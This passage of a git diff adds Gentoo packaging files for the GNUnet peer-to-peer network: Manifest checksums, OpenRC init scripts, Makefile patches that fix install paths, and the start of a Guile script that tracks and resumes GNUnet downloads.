+AUX gnunet.initd 643 SHA256 c6748f137d7c808685a741617e1449024bcb37dcfc11e883d859f5e0134744a6 SHA512 37d3e759bd294675c4f0c758700f27af6ac4b6a931e513364a44fa2ac09ba334134f64f83d7d5cd3143e031b5674e297ba9d8df3b419fad3bcc6a0ce34f8e0c8 WHIRLPOOL f156f0663759eed035699dd99e422fd9ea94bd8d0e8074d11e228f5b9ab6968009a1f082b96845c6d38ff247367f78df82d9a0b9fc9fb7f2aef3204ffba8ea9d
+AUX gnunet.initd-0.9.0 1008 SHA256 23c2143d88d57cb892bc9dedab28646c8e87d0ca31995deccec4aa2e1bb80256 SHA512 69ce1d54fd8358afcb4efcc1f79c67b046abe99b69983c8f8b702c3d2ab0525bd3ecfbb2bad61caad9e4a142f844c80fc5f4e4342a99614efdc55a737ff5c801 WHIRLPOOL d6dd498efe93f8978d7491c9b3b88bbdb98719ee1fd227cf611429514f3e3d01d666a4efd4608566d1b5035dabd9e006ddce61a4970243d794726e8abd838db7
+AUX gnunet.initd-0.9.0v2 821 SHA256 32d2027be0cb32459526e18dd1319aef4ec2cc361b4835278b7a97aedd64412a SHA512 44f32fba0f2875c05090381a530994b5704095c317ac5d22a44d798a63c5c3fd348785692e2e04ddcef78d933953e4973462d6b6af47382e9f8d71f6c918e34e WHIRLPOOL 6ff9fe2475c4e01838fe4c36573d948a29dae21bb90c47c9ae4395381d887c89f224fd3e1d2ae6bcdf9c24fb0d38c5e6bcf40f467f5873cad9946d1c429181e6
+DIST GNUnet-0.7.0b.tar.bz2 1307550 SHA256 39c493c18dd86ce957bb29a949cb724c018c72b74507dc00d65e2fd8fe9f8eaa
+DIST GNUnet-0.7.0e.tar.bz2 1405884 SHA256 eea28505a825ce7404300c9dae25a7ebefbc681fc32082db0f92191ab7e14f18
+DIST GNUnet-0.7.1.tar.bz2 1375082 SHA256 e94158a942cfe557974964acb658c35cfeccc09bf9db7f572d1ff39faafdefd8
+DIST GNUnet-0.7.1a.tar.bz2 1399281 SHA256 e2629443a249a09fe3d97b1e71d3e097caaebda56b3079edd2a994c8de7b2554
+DIST GNUnet-0.7.1b.tar.bz2 1431707 SHA256 d2e2aaebb26851f0b334488faac419b1ef1ab9c6a047744ce01cf51c6a5180ca
+DIST GNUnet-0.7.1pre0.tar.bz2 1438509 SHA256 d4149963b0d29f0acbc8471efe4bff122ad9cda74078fa9494f1462a2bad0008
+DIST GNUnet-0.7.2b.tar.bz2 1442189 SHA256 648791c533f4e77de1495abb66a0b0d5b1022005f8de531ec6a4fa1ed3b5a561
+DIST GNUnet-0.7.2c.tar.bz2 1438415 SHA256 d8bca30c01f3b105b2738fae7f64b4728ca0eddbea24117a3f3d7022f77e70aa
+DIST GNUnet-0.7.3.tar.bz2 1687898 SHA256 378ea16fdd8b43d0c002a9c2bd4bcb878b60b61608838cd329821d5ffded25b7
+DIST GNUnet-0.8.0.tar.bz2 1689291 SHA256 14a05df11ee8dafb7623592cf703cc4b89d8df362b57a7a5c039a542cd9d504d
+DIST GNUnet-0.8.0a.tar.bz2 1695471 SHA256 0da2e72ddf4eb53bfa70c290723f9f5fec9f6b24b7c53456270a331635a27b4c
+DIST GNUnet-0.8.0b.tar.bz2 1611562 SHA256 9af1a54c6a680e349bea0950348f5754782f8ffae026fce5452eb4859d5d2ab4
+DIST GNUnet-0.8.0c.tar.bz2 1448541 SHA256 03ad449f8acc3abb0f6afcd496dfb04a48c1eb811df57a856f46eb9334e79c22
+DIST GNUnet-0.8.0pre0.tar.bz2 1670086 SHA256 c5f1f4586d3612a47e40f085de33a1d4518155b3f1da8575e10e79c70b9ffdf1
+DIST GNUnet-0.8.0pre1.tar.bz2 1696398 SHA256 c7b574b803abbc9466dbcc2a93c268963a9b218e3f712f05421ae7af008bb7a1
+DIST GNUnet-0.8.1.tar.gz 2339085 SHA256 84da584f2b60f2026a19e38d4264c794420135323644f7b0785d67ed44815355
+DIST GNUnet-0.8.1a.tar.gz 2342390 SHA256 7ee7fd37754d40e6e00cf9552b578a80aa9dcbe0d8437ccbe9d3f16ca741e289
+DIST GNUnet-0.8.1b.tar.gz 2366646 SHA256 7c854d2ef5ee592193bb04d8746a8b0ffc20f568674145a1f9a2e8f2bbced64c
+DIST gnunet-0.9.0.tar.gz 2624462 SHA256 77c4522c92b55c60c8ec7a05a516d395b7066545f15280db85bd012105560ea8
+DIST gnunet-0.9.0pre0.tar.gz 1862215 SHA256 1c4dbb794a6fa195418327b0f6ecebb811a6947a8cf9488b4f39fb31bc1808a1
+DIST gnunet-0.9.0pre1.tar.gz 2133978 SHA256 59715c6c1144ee40ca0604a5e7613fc6a848c16ce3b6c0a873c2f41bcc13fe2d
+DIST gnunet-0.9.0pre2.tar.gz 2399872 SHA256 47dffa58cb24d979e61c2b412674895e371e9a39479a873a0e563e1dc1f4ec3c
+DIST gnunet-0.9.1.tar.gz 6084089 SHA256 f83a4a45e96832c01e4b720f0f694df5e70f207168baa6c0d9edb14f8f00fd46
+DIST gnunet-0.9.2.tar.gz 6239795 SHA256 24f5f1cb93782c22bd61ffdc9d99b7cfb2532dc4b6fb7d3468931e5a10eb47e9
+DIST gnunet-0.9.3.tar.gz 6520875 SHA256 0f7aa283f53e083e4e38b0c05e41083ee07953e3f7c831ffaab56f4f1a99d6d4 SHA512 e63d78453c9a731c60b79c2cf478bf92776f998a28f3255799f87015e6f7cb736fa4cf65c68898bb197550a59e0fe388ec0b893f7e1855edfe827aadaac58c88 WHIRLPOOL 91200e262e03a9140c6af245c36b8944d00dc50ec6bb92a0467b54d74909af2a6266d6bcde909f7110d1b8f765c3cdd7c7f896caa6f31a28fa5666d69fbaf3fb
+DIST gnunet-0.9.5a.tar.gz 7997840 SHA256 1d600717eee1f952e23d192288850a67948e92e0b1dee5d950d111b2670cbed7 SHA512 a47d76455687269a8ae91bc91f12946740dc5f678466268f1d16f5aea90a2b86e71f9085dc713f0d7aaf0633d72837c322f0410d51723b5067dae5fe7205cfbd WHIRLPOOL 976c02da3cf7754ae88ef148c6b265b87357507f6a08f4876e13700547072529d66cb3450503438d0a5ac6d116bb345bd4fcf1bdc0a63f6e95c99938ad2ffdb7
+EBUILD gnunet-0.7.0b.ebuild 3149 SHA256 a18912fda522d67168f28e4cf07dafd0160f3f910e2394fc75a031e94d634cf1 SHA512 6d2b66b8257ea78d80c0c2865aa888992b4a294fd3183ecab8be079c6f263182d9e08864056f38e2a178ae6eba332f3f31542520fcd96a55d2ac5e5ea4cdfc70 WHIRLPOOL 15b75b04ade2c1bdb4d322197ca637f056f7a99c789d342de741d09bd69e69295d4ef4127032cedf18da702dea0f5dc9c550f9eb9014d0c1166d364834aadd2d
+EBUILD gnunet-0.7.0e.ebuild 3210 SHA256 39027b6064e7d4fe8ca36875010ac31026265e528a62cd92af2158e5deb840d7 SHA512 7a93b40f3613f8acc79914268db92259aa286baf4a496580298ce87db731b8ba1dfc6f89808b2cf78b9066269bd8b7a582f931fbfca2998647f8e6107c6c7432 WHIRLPOOL 1e5f5cb5eeae9d122b1fd7ea02806644f77d00b5f6529742beba52dcbab53058ff46dcccc53a6aa14cb724e23d3309eb1922ba901559eb5ac9e88d3e636a252f
+EBUILD gnunet-0.7.1.ebuild 3227 SHA256 290bc9a04483e677a3a8210660791d7686c5e7978594c9f4dcfd79e30229a9f7 SHA512 f4cfffc6f12cfc408fdeb30b0e52c4e2914fe96757c6729f55b3f1be35754ab6dd9a984edb7d41283bece05c3780ad933914c093f610d0e95ae3f0a1e5cc20f6 WHIRLPOOL b407b0eb7534bf1e962ff9b384e60fa33729dac7f396a49d61488ccefa263b77b7d1af9f076451972ca9531ec9fc4adcab6f44689cdf4ad2cb0f44739de989f9
+EBUILD gnunet-0.7.1_pre0.ebuild 3227 SHA256 290bc9a04483e677a3a8210660791d7686c5e7978594c9f4dcfd79e30229a9f7 SHA512 f4cfffc6f12cfc408fdeb30b0e52c4e2914fe96757c6729f55b3f1be35754ab6dd9a984edb7d41283bece05c3780ad933914c093f610d0e95ae3f0a1e5cc20f6 WHIRLPOOL b407b0eb7534bf1e962ff9b384e60fa33729dac7f396a49d61488ccefa263b77b7d1af9f076451972ca9531ec9fc4adcab6f44689cdf4ad2cb0f44739de989f9
+EBUILD gnunet-0.7.1a.ebuild 3227 SHA256 290bc9a04483e677a3a8210660791d7686c5e7978594c9f4dcfd79e30229a9f7 SHA512 f4cfffc6f12cfc408fdeb30b0e52c4e2914fe96757c6729f55b3f1be35754ab6dd9a984edb7d41283bece05c3780ad933914c093f610d0e95ae3f0a1e5cc20f6 WHIRLPOOL b407b0eb7534bf1e962ff9b384e60fa33729dac7f396a49d61488ccefa263b77b7d1af9f076451972ca9531ec9fc4adcab6f44689cdf4ad2cb0f44739de989f9
+EBUILD gnunet-0.7.1b.ebuild 3227 SHA256 290bc9a04483e677a3a8210660791d7686c5e7978594c9f4dcfd79e30229a9f7 SHA512 f4cfffc6f12cfc408fdeb30b0e52c4e2914fe96757c6729f55b3f1be35754ab6dd9a984edb7d41283bece05c3780ad933914c093f610d0e95ae3f0a1e5cc20f6 WHIRLPOOL b407b0eb7534bf1e962ff9b384e60fa33729dac7f396a49d61488ccefa263b77b7d1af9f076451972ca9531ec9fc4adcab6f44689cdf4ad2cb0f44739de989f9
+EBUILD gnunet-0.7.2b.ebuild 3149 SHA256 bce0d68517d429fba04dcc60768462c18cfa18dec3229851ab7d84e4349ac53b SHA512 830cf664b9625e448caf9ccb991f77b122a89d8d9fb3bec81b6a3167c6f0da0b1278df21d40fcf950b8591f04584e9797a618b0ab673d54cc8398b4260e64b96 WHIRLPOOL e0d2c97c26f542f8eefeedfb33c44fd1c8a062e6878727f9647ebc02baffc6d1c8958a52b77f24a754e5222752613efba8fbfefc4f515b15b9d023c53ecc6c11
+EBUILD gnunet-0.7.2c.ebuild 3173 SHA256 80bc8bf5a8fddc759c19f8fe71a061f7fe7bdf7d3519ca1bd9737a0eed6e2939 SHA512 5d647cd21c0f0025abd7093880d79c9e8333e9e035e2dc476db0e3f65caee8269326431bcb56b9dda3e55d5532a3d8bf282b27e700c6656f5aa5de8c34cdd1a9 WHIRLPOOL aba52d190287f74c20c958c8127c4622b20f003f13d15abde8e5916e79a0cbcd6b9aca1ba4ac21bc22e2aa070d7cc79056d4751856ee1225bbde7b8f1f76bf65
+EBUILD gnunet-0.7.3.ebuild 2982 SHA256 85af5e248999ff4ab3585b5cc01c7bab9daf365dc30e094f59244f963612f2d6 SHA512 096fa4d54a7c33fbbb4aa21f01fad7ef0f96258f1bb1f9a83a3ce0dda31f626f96426aac5086b66d57ae56c5475784e7f121403320692a53a7cf94700bbd465a WHIRLPOOL e8a2171da90d19c7aaa80ee7025d7dc6a29803361dd7971eeba1692d2d3efc2c5ea0a6810144e5e270795db400c4bf07aee96a7699b88836266255a1f8142214
+EBUILD gnunet-0.8.0.ebuild 2821 SHA256 ae2c15fee5b7cc8a114e9f3879f82ed3e643f312d99e7eb7f017818fa6ae0f2b SHA512 401687d518b4b2846c5ad2492e9b21a55f61b5023c4494e79a0f8bbff57dfc4f2330d9008e570bf8b37aefb2dbd1798759f2f3aa102fb4d6a8fc8df624854e63 WHIRLPOOL cae2663ac31c174de6082a86a5a3ae91ed1b558332fe355309695cf71ec00ebd7e4939581433617425d5a5785b0f3537b7c86c9e967e05529dfe77be9f37d114
+EBUILD gnunet-0.8.0_pre0.ebuild 2821 SHA256 ae2c15fee5b7cc8a114e9f3879f82ed3e643f312d99e7eb7f017818fa6ae0f2b SHA512 401687d518b4b2846c5ad2492e9b21a55f61b5023c4494e79a0f8bbff57dfc4f2330d9008e570bf8b37aefb2dbd1798759f2f3aa102fb4d6a8fc8df624854e63 WHIRLPOOL cae2663ac31c174de6082a86a5a3ae91ed1b558332fe355309695cf71ec00ebd7e4939581433617425d5a5785b0f3537b7c86c9e967e05529dfe77be9f37d114
+EBUILD gnunet-0.8.0_pre1.ebuild 2821 SHA256 ae2c15fee5b7cc8a114e9f3879f82ed3e643f312d99e7eb7f017818fa6ae0f2b SHA512 401687d518b4b2846c5ad2492e9b21a55f61b5023c4494e79a0f8bbff57dfc4f2330d9008e570bf8b37aefb2dbd1798759f2f3aa102fb4d6a8fc8df624854e63 WHIRLPOOL cae2663ac31c174de6082a86a5a3ae91ed1b558332fe355309695cf71ec00ebd7e4939581433617425d5a5785b0f3537b7c86c9e967e05529dfe77be9f37d114
+EBUILD gnunet-0.8.0a.ebuild 2794 SHA256 dda5221a2d6adf9425812c0fd567f7fb133e22e7341bf52d173034307b2e895f SHA512 27bedcb276072115dbbb72f33dddbbb918eb8eef3aee9fa1130388e8b78449494fb77f55699a283b19bc2efa443b30049694d3f88e3dca4d2ed1b55868227380 WHIRLPOOL e1ddaaabed809770856475a2d2b135fa00cf814ac12a19191488be4818f3e0461c4db0375adb631e57cd3459fd1c0990d62d603d1e9a2bdf4f9c1c57e4ed8254
+EBUILD gnunet-0.8.0b.ebuild 2821 SHA256 76f18bedacf1a5fe1335ec1a91bac203d07a4be8be5a94586372e9ab5473b978 SHA512 b0e3348e2c7a5883391f54a1fc47478f82de3d69b14c70d87db61d8e69c34ba5b0d98e60d482046f80280986f5649912afe844c39c66cf62905ec3797529aa56 WHIRLPOOL 8f0c5498eea8c854467871793f1cc486c9ca162cb5d4fb79e8e0425226394c471ff1b7afa7382bc452195a2cc57ab480dc543d16f3f461d60bc97fb943717993
+EBUILD gnunet-0.8.0c.ebuild 2840 SHA256 e359044dc7c710a10f51d50dd014cccb12811c4a270d981724b73ad93522c7da SHA512 efaac8d168b6d143be41fd5f211173870e541b002111aa1e7e5816095d3b68417abd4b172413a7dcbad5f3a76e58a3d511c3f671b8b5c43d14129dd4bbf05d2a WHIRLPOOL c8014b2e14e1feb174e7f5ef4105dbacb4013b2e71e97fa31cee7e7a475aff1a71a1586cb5549259a85022d695e231c2296408d835020d6fc371b90ece58fdb3
+EBUILD gnunet-0.8.1-r1.ebuild 2721 SHA256 e287618fb46f5b8504c3968ae53c7adad0bbb85353b5a55b739098e7e7f89b37 SHA512 19acb2729a51f15071d9085b4d48d34c9f17a60343937ddac0e77ad08319e8c53e078f36e961056d49ae348e169a41194b3b197dc404d934573813e73bb1179d WHIRLPOOL 9b49b3f8d1d426c8ecb427c09d06dd9af1fbc6a376893425fd4195ce496edd7f684c8e52f3f23d8f1739a15513edddb43b84929d04a8757956b4afda6f47ef8e
+EBUILD gnunet-0.8.1.ebuild 2839 SHA256 c96e68e4c4b2034903582b1c5a6e6942959b6c2bd4e81817c93cfc2431f5e73b SHA512 823e5ca1312bc16704bb8d9047db1e456566bc0f7d338096a5a188dd45e0d477c434d1427698b019c7f0896e8d3faae69668bafa702d064696bd9098c7a5a50b WHIRLPOOL a0edae149ece789f04d1eedfc27da47d2f8fde0138e236f3bcf3f090987552814879cafc9e49b5e816006dec60c50e07c88fa89d211a38dc76e50cf5bad1d1eb
+EBUILD gnunet-0.8.1a.ebuild 2653 SHA256 1c29b1adf4ef3fae461d2112a66d32d0b95eed966078104379b545fa44bb5f01 SHA512 77b4afc6166a705b891bd194ea028614a3d3f68ce366930d31c575b1fc914d0939e561fba9583aea1bcc4f0bb32b6b75564f1991939bfb29059de785c9a30bd6 WHIRLPOOL cab8f9d531e3648642b40965d51f58844cf5f8bf03fca6902024c505ba1003457d8fa78e4e2850fc3723e21f2e812ae82720cf733cb7ee6b5159e500a176ff3e
+EBUILD gnunet-0.8.1b.ebuild 2651 SHA256 891afa18b6da3be2a759f5d898effa2e8ef58470e2d08b2c51f641190bc2b209 SHA512 98a031ab19e14f14aa79cbcad7e7cf665c7aa2693482791acde9c24019ddd28ce9f57eed029cffef85aaab415fa21aefc84f5fd04e4a4af2c1d2e1e178bdc3c9 WHIRLPOOL 15e76e49b1bd60338399ed307fcf5a5803ca99a43422c8136c9b756746fc02d5ec111f93530dc82f833fe35ea6e31ce92960414ece6b8dd3e5524885cc13da29
+EBUILD gnunet-0.9.0.ebuild 1812 SHA256 7336ea4de3e802f980913ee374cb48c9757b8893435ab6fb832bb3a926ed8086 SHA512 c55526a4b03b95b04da924cd38a1123008f0241ebcd9f35233b6f11bd787c3c674450a1807131813dab793edd05ab323815821da5d8a987e8f3cacb2f18539c9 WHIRLPOOL 4ac19f81a6d550b40661369e2be858afb59e299cb4d6dc3baa50a55b86a9c21b62e14c08f35955e5e35c321beba333e5e8bfab2d6758a5b32142046991bcc335
+EBUILD gnunet-0.9.0_pre0.ebuild 2080 SHA256 4b01b22d23159984d8cfb6455e4e32f31f27d6e58445a5fac8278ba62fba02de SHA512 2c3fc86308abd6c33d518a239b13e537ba4f349165800d8ab97682fb0b87510a6f086df0b9ec85b8052440ef537f61b7ef8610e09fb1f573b5fc69bf9d7ad5eb WHIRLPOOL 360a2daae16c69019a8bab8f78673487f46e2b0376325b6715c02b370e4a5c033ace671afdda876a5694e3a60f05e4da9304cfb80b728f4141701ed755cfbce3
+EBUILD gnunet-0.9.0_pre1.ebuild 2094 SHA256 81e3b3af1d9ca4d03b608dded9783a9efc7db3d60d858dfcc1b616bb390aa25c SHA512 d6bc224b0046bf33c4de241272a5a1630be4b230dfa97d347069c07dc0fd9f16b49ccc375baf739ea81f9a4f296a96f8693d1254de49914972aea6edef7117fb WHIRLPOOL 815020334cef5ed9d35114b6d8990e1c0d340d29fbe8fe6f3aa524a9118966e603ced96e75f8c6b2cf98e41e9306e3fcf901a4c3eeede701fc4259bea98e7aec
+EBUILD gnunet-0.9.0_pre2.ebuild 2061 SHA256 c747bebcddc157f69527ddeb09465ee1528091ff354ed82389abb28312b465fb SHA512 d53c8003ec0b2b9f951047884eb674528217234555d342a9fb4906513217066a224a0248b6ce9e30ba50ba0c09339a3ed04f6cb5562af240dc9cbc80a20ede8f WHIRLPOOL 1e1292661b00593f6eb5c73a38a181758b5025e62342533eb4b79596a53cfb1b780aff58633ea633baa44e9d364fafcd91888b341bd2252c385d7af50c8ca8df
+EBUILD gnunet-0.9.1.ebuild 1812 SHA256 7336ea4de3e802f980913ee374cb48c9757b8893435ab6fb832bb3a926ed8086 SHA512 c55526a4b03b95b04da924cd38a1123008f0241ebcd9f35233b6f11bd787c3c674450a1807131813dab793edd05ab323815821da5d8a987e8f3cacb2f18539c9 WHIRLPOOL 4ac19f81a6d550b40661369e2be858afb59e299cb4d6dc3baa50a55b86a9c21b62e14c08f35955e5e35c321beba333e5e8bfab2d6758a5b32142046991bcc335
+EBUILD gnunet-0.9.2.ebuild 1835 SHA256 7d21591925afb359e8dc366b54f4c9cd2b1f16bfa2a8df81fc89d5f1999a9634 SHA512 9bbd726555f4ca24fe08bfd8f13cc104c4cc0a14e4cc2854b6a553f9598e7c5a2d6fffc8f5f52c090533a8afb373d06bf0c075b3c6e2734e0873a80807c6c8c4 WHIRLPOOL 3714d2c716d52607659f434845c99e3de35c6f300051c89bda9c9540b82617ef4033f26f6f53a7377283647c6813b31cad16690988317778023ed5de7b229ba0
+EBUILD gnunet-0.9.3.ebuild 1922 SHA256 a43177b3051e91096af18f0fee1812124c275193e6a6022c6fc43167a4ed0090 SHA512 946fcf64de3f727b874241200257a213b409518dd102d3c19329d423adad30cf2619530f8890e9c51c75ad7fa96dcbd2b303fef3dc50e991f50852d7aef4e2c5 WHIRLPOOL dfc3912f95c790aa1593f63b6880cc725acad868423c364af542dee6a39f6aac513809e3211e4b0870508d71a1bbc16b2fd76a3bbadfa45e86a8659932af94d5
+EBUILD gnunet-0.9.5a.ebuild 1975 SHA256 9873a1896981dca41915ee9398b0a0e5a3aa1fc5cf0203d376f3fcde2139b878 SHA512 cd16c2ff042a960cb89c3c32243a11666fcc56a572632ae9f1c3b402a05e19309f7ac56ced8329cb70ab51fe2b9157b221795b72bc8d73fac03103ef7e8d92d4 WHIRLPOOL b1ee475ce7fe1320dad1e89944402ef7665daebb1698c35caac05736c0ab3f94a2469acf32e2847f8794863e145718e5f3e6ef0c43cae800685cf6789150487e
+MISC ChangeLog 900 SHA256 a44bd2d2db1e0ff5062ee7b7db9b16b65f752274bc372ce1c0a61f2f3fe09a63 SHA512 bdbaafb6ee48b77e2c0cc9e442a1a9c84641ed06663525b6786098b6722a44bc6eb296323e00582dd8a8807a58269600075b9aa047303cb11f8704f2e7e26734 WHIRLPOOL 9e76921124ac796c9f4c4ae395c0cd9c9c3e2aec192a5dc18e4eae16664c74d94775010b299f1f125ff42e8c539f09a4831f8e2efac9509ab0de52d2112bc26e
+MISC metadata.xml 248 SHA256 4b2054d5a81c4bb0803bb3bb477d63e698ef1c8257d1611917a9ec2eae53079d SHA512 6e079d3fa210525ac15080bd95d8e099eea7c57887d7e1de6a895339212ad76a8e05d87562ae714a82395919538c09149c343065a8b81bb7081023cf3ea28a0b WHIRLPOOL e97467c959e15882b807e80eb97c62806c308302dcdd174f4ed3f6c3732e1a3b9ec79a381322f5c6a6f322f6faf7096d74fe435f600266fb51994e7e19f13bc1
diff --git a/net-p2p/gnunet/files/config-daemon.in.patch b/net-p2p/gnunet/files/config-daemon.in.patch
new file mode 100644
index 00000000..70dfaf88
--- /dev/null
+++ b/net-p2p/gnunet/files/config-daemon.in.patch
@@ -0,0 +1,10 @@
+--- config-daemon.in	2005-12-23 23:24:48.000000000 +0100
++++ /usr/share/GNUnet/config-daemon.in	2006-03-17 21:06:06.000000000 +0100
+@@ -883,7 +883,6 @@
+ 
+ 	endmenu
+ 	
+-    endif
+ 	
+     if Meta::EXPERIMENTAL && Meta::RARE && Meta::ADVANCED
+ 	
diff --git a/net-p2p/gnunet/files/gnunet b/net-p2p/gnunet/files/gnunet
new file mode 100644
index 00000000..b1e833a9
--- /dev/null
+++ b/net-p2p/gnunet/files/gnunet
@@ -0,0 +1,31 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2
+# description:  Gnunet is an anonymous distributed secure network
+#               this server is required to connect to the network,
+#               it will open a TCP port to communicate with the
+#               GUI and an UDP port to communicate with the world.
+
+depend() {
+	need net
+}
+
+start() {
+	ebegin "Starting GNUnet"
+	# -u username, -c path to gnunet.conf file
+	start-stop-daemon --start --quiet --background --exec /usr/bin/gnunetd \
+		-- -u gnunet -c /var/lib/GNUnet/gnunet.conf
+	eend $? "Failed to start GNUnet"
+}
+
+stop() {
+	ebegin "Stopping GNUnet"
+	killall gnunetd
+	eend $? "Failed to stop GNUnet"
+}
+
+restart() {
+        svc_stop
+        sleep 3
+        svc_start
+}
diff --git a/net-p2p/gnunet/files/gnunet-0.9.0_pre0-gentoo.patch b/net-p2p/gnunet/files/gnunet-0.9.0_pre0-gentoo.patch
new file mode 100644
index 00000000..4da84c16
--- /dev/null
+++ b/net-p2p/gnunet/files/gnunet-0.9.0_pre0-gentoo.patch
@@ -0,0 +1,13 @@
+--- Makefile.am.anc	2010-04-16 20:34:28.804859312 +0200
++++ src/transport/Makefile.am	2010-04-16 20:35:21.351042832 +0200
+@@ -13,8 +13,8 @@
+ if LINUX
+ NATBIN = gnunet-nat-server gnunet-nat-client
+ install-exec-hook:
+-	chown root $(bindir)/gnunet-nat-server $(bindir)/gnunet-nat-client || true
+-	chmod u+s $(bindir)/gnunet-nat-server $(bindir)/gnunet-nat-client || true
++	chown root $(DESTDIR)$(bindir)/gnunet-nat-server $(DESTDIR)$(bindir)/gnunet-nat-client || true
++	chmod u+s $(DESTDIR)$(bindir)/gnunet-nat-server $(DESTDIR)$(bindir)/gnunet-nat-client || true
+ else
+ install-exec-hook:
+ endif
diff --git a/net-p2p/gnunet/files/gnunet-0.9.0_pre2-gentoo.patch b/net-p2p/gnunet/files/gnunet-0.9.0_pre2-gentoo.patch
new file mode 100644
index 00000000..6a301e62
--- /dev/null
+++ b/net-p2p/gnunet/files/gnunet-0.9.0_pre2-gentoo.patch
@@ -0,0 +1,13 @@
+--- Makefile.am.anc	2010-04-16 20:34:28.804859312 +0200
++++ src/transport/Makefile.am	2010-04-16 20:35:21.351042832 +0200
+@@ -13,8 +13,8 @@
+ if LINUX
+ NATBIN = gnunet-nat-server gnunet-nat-client
+ install-exec-hook:
+-	chown root $(bindir)/gnunet-nat-server $(bindir)/gnunet-nat-client $(bindir)/gnunet-wlan || true
+-	chmod u+s $(bindir)/gnunet-nat-server $(bindir)/gnunet-nat-client $(bindir)/gnunet-wlan || true
++	chown root $(DESTDIR)$(bindir)/gnunet-nat-server $(DESTDIR)$(bindir)/gnunet-nat-client $(DESTDIR)$(bindir)/gnunet-wlan || true
++	chmod u+s $(DESTDIR)$(bindir)/gnunet-nat-server $(DESTDIR)$(bindir)/gnunet-nat-client $(DESTDIR)$(bindir)/gnunet-wlan || true
+ else
+ install-exec-hook:
+ endif
diff --git a/net-p2p/gnunet/files/gnunet-2 b/net-p2p/gnunet/files/gnunet-2
new file mode 100644
index 00000000..54e73a4c
--- /dev/null
+++ b/net-p2p/gnunet/files/gnunet-2
@@ -0,0 +1,32 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2
+
+depend() {
+	need net
+}
+
+start() {
+	if ! test -f "/etc/gnunetd.conf"; then
+		eerror "You must create /etc/gnunetd.conf file first"
+		return 1
+	fi
+
+	ebegin "Starting GNUnet"
+	# -u username, -c path to gnunet.conf file
+	start-stop-daemon --start --quiet --background --exec /usr/bin/gnunetd \
+		-- -u gnunet -c /etc/gnunetd.conf
+	eend $? "Failed to start GNUnet"
+}
+
+stop() {
+	ebegin "Stopping GNUnet"
+	killall gnunetd
+	eend $? "Failed to stop GNUnet"
+}
+
+restart() {
+        svc_stop
+        sleep 3
+        svc_start
+}
diff --git a/net-p2p/gnunet/files/gnunet-download-manager.scm b/net-p2p/gnunet/files/gnunet-download-manager.scm
new file mode 100644
index 00000000..80d04fa1
--- /dev/null
+++ b/net-p2p/gnunet/files/gnunet-download-manager.scm
@@ -0,0 +1,407 @@
+#!/bin/sh
+exec guile -e main -s "$0" "$@"
+!#
+
+;;;    gnunet-download-manager -- Manage GNUnet downloads.
+;;;    Copyright (C) 2004  Ludovic Court�s
+;;;
+;;;    This program is free software; you can redistribute it and/or
+;;;    modify it under the terms of the GNU General Public License
+;;;    as published by the Free Software Foundation; either version 2
+;;;    of the License, or (at your option) any later version.
+;;;   
+;;;    This program is distributed in the hope that it will be useful,
+;;;    but WITHOUT ANY WARRANTY; without even the implied warranty of
+;;;    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+;;;    GNU General Public License for more details.
+;;;   
+;;;    You should have received a copy of the GNU General Public License
+;;;    along with this program; if not, write to the Free Software
+;;;    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+
+;;; Remember ongoing GNUnet downloads so as to be able to resume them
+;;; later.  Typical usage is to define the following alias in your
+;;; favorite shell:
+;;;
+;;;    alias gnunet-download='gnunet-download-manager.scm download'
+;;;
+;;; You may have a ~/.gnunet-download-manager.scm Scheme configuration
+;;; file.  In particular, if you would like to be notified of
+;;; completed downloads, you may want to add the following line to
+;;; your configuration file:
+;;;
+;;;   (add-hook! *completed-download-hook*
+;;;               completed-download-notification-hook)
+;;;
+;;; This script works fine with GNU Guile 1.6.4, and doesn't run with
+;;; Guile 1.4.x.
+;;;
+;;; Enjoy!
+;;; Ludovic Court�s <ludo@chbouib.org>
+
+(use-modules (ice-9 format)
+	     (ice-9 optargs)
+	     (ice-9 regex)
+	     (ice-9 and-let-star)
+	     (ice-9 pretty-print)
+	     (ice-9 documentation))
+
+;; Overall user settings
+(define *debug?* #f)
+(define *rc-file* (string-append (getenv "HOME")
+				 "/.gnunet-download-manager.scm"))
+(define *status-directory* (string-append (getenv "HOME") "/"
+					  ".gnunet-download-manager"))
+(define *gnunet-download* "gnunet-download")
+
+;; Helper macros
+(define-macro (gnunet-info fmt . args)
+  `(format #t (string-append *program-name* ": " ,fmt "~%")
+	   ,@args))
+
+(define-macro (gnunet-debug fmt . args)
+  (if *debug?*
+      (cons 'gnunet-info (cons fmt args))
+      #t))
+
+(define-macro (gnunet-error fmt . args)
+  `(and ,(cons 'gnunet-info (cons fmt args))
+	(exit 1)))
+
+(define (exception-string key args)
+  "Describe an error, using the format from @var{args}, if available."
+  (if (< (length args) 4)
+      (format #f "Scheme exception: ~S" key)
+      (string-append
+       (if (string? (car args))
+	   (string-append "In " (car args))
+	   "Scheme exception")
+       ": "
+       (apply format `(#f ,(cadr args) ,@(caddr args))))))
+
+
+;; Regexps matching GNUnet URIs
+(define *uri-base*
+  "([[:alnum:]]+)\.([[:alnum:]]+)\.([[:alnum:]]+)\.([0-9]+)")
+(define *uri-re*
+  (make-regexp (string-append "^gnunet://afs/" *uri-base* "$")
+	       regexp/extended))
+(define *uri-status-file-re*
+  (make-regexp (string-append "^" *uri-base* "$")
+	       regexp/extended))
+
+
+(define (uri-status-file-name directory uri)
+  "Return the name of the status file for URI @var{uri}."
+  (let ((match (regexp-exec *uri-re* uri)))
+    (if (not match)
+	(and (gnunet-info "~a: Invalid URI" uri) #f)
+	(let ((start (match:start match 1))
+	      (end   (match:end   match 4)))
+	  (string-append directory "/"
+			 (substring uri start end))))))
+  
+(define (uri-status directory uri)
+  "Load the current status alist for URI @var{uri} from @var{directory}."
+  (gnunet-debug "uri-status")
+  (let ((filename (uri-status-file-name directory uri)))
+    (catch 'system-error
+	   (lambda ()
+	     (let* ((file (open-input-file filename))
+		    (status (read file)))
+	       (begin
+		 (close-port file)
+		 status)))
+	   (lambda (key . args)
+	     (and (gnunet-debug (exception-string key args))
+		  '())))))
+
+(define (process-exists? pid)
+  (false-if-exception (begin (kill pid 0) #t)))
+
+(define (fork-and-exec directory program . args)
+  "Launch @var{program} and return its PID."
+  (gnunet-debug "fork-and-exec: ~a ~a" program args)
